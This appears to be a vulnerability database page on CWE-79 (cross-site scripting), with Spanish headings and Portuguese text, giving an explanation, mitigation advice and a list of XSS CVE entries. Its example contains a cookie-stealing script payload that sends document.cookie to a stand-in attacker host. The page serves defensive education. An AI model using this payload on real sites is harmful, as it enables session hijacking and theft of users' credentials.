Fallos del tipo CWE-79

29.647 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-12933MEDIUMcode-projects Simple Admin Panel updateItemController.php cross site scriptingEPSS 0.4%CVE-2024-26490MEDIUMA cross-site scripting (XSS) vulnerability in the Addon JD Simple module of flusity-CMS v2.33 allows attackers to execute arbitrary web scriEPSS 0.4%CVE-2023-24404HIGHWordPress Marketing Performance Plugin <= 2.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-13213MEDIUMSingMR HouseRent toAdminUpdateHousePage cross site scriptingEPSS 0.4%CVE-2026-3618MEDIUMColumns by BestWebSoft <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'columns' Shortcode 'id' AttributeEPSS 0.4%CVE-2026-67352MEDIUMluci-app-https-dns-proxy Stored XSS via resolver_urlEPSS 0.4%CVE-2024-36417MEDIUMSuiteCRM Stored XSS Vulnerability Allows Code Execution via Malicious iFrameEPSS 0.4%CVE-2024-7427MEDIUMPotential Cross-Site Scripting vulnerability affect OpenText™ Network Node Manager i (NNMi).EPSS 0.4%CVE-2025-12246MEDIUMchatwoot Admin IframeLoader.vue cross site scriptingEPSS 0.4%CVE-2024-42020HIGHA Cross-site-scripting (XSS) vulnerability exists in the Reporter Widgets that allows HTML injection.EPSS 0.4%CVE-2024-56377MEDIUMA stored cross-site scripting (XSS) vulnerability in survey titles of REDCap 14.9.6 allows authenticated users to inject malicious scripts iEPSS 0.4%CVE-2024-20269MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-20264MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2026-2149MEDIUMSourceCodester/Patrick Mvuma Patients Waiting Area Queue Management System appointments.php cross site scriptingEPSS 0.4%CVE-2026-48768CRITICALTypeBot: Unauthenticated arbitrary s3 object write in generate-upload-url via unsanitized fileNameEPSS 0.4%CVE-2025-24018HIGHYesWiki Vulnerable to Authenticated Stored XSSEPSS 0.4%CVE-2024-20300MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-8656MEDIUMWPFactory Helper <= 1.7.0 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-20298MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2026-2159MEDIUMSourceCodester Simple Responsive Tourism Website Registration Master.php cross site scriptingEPSS 0.4%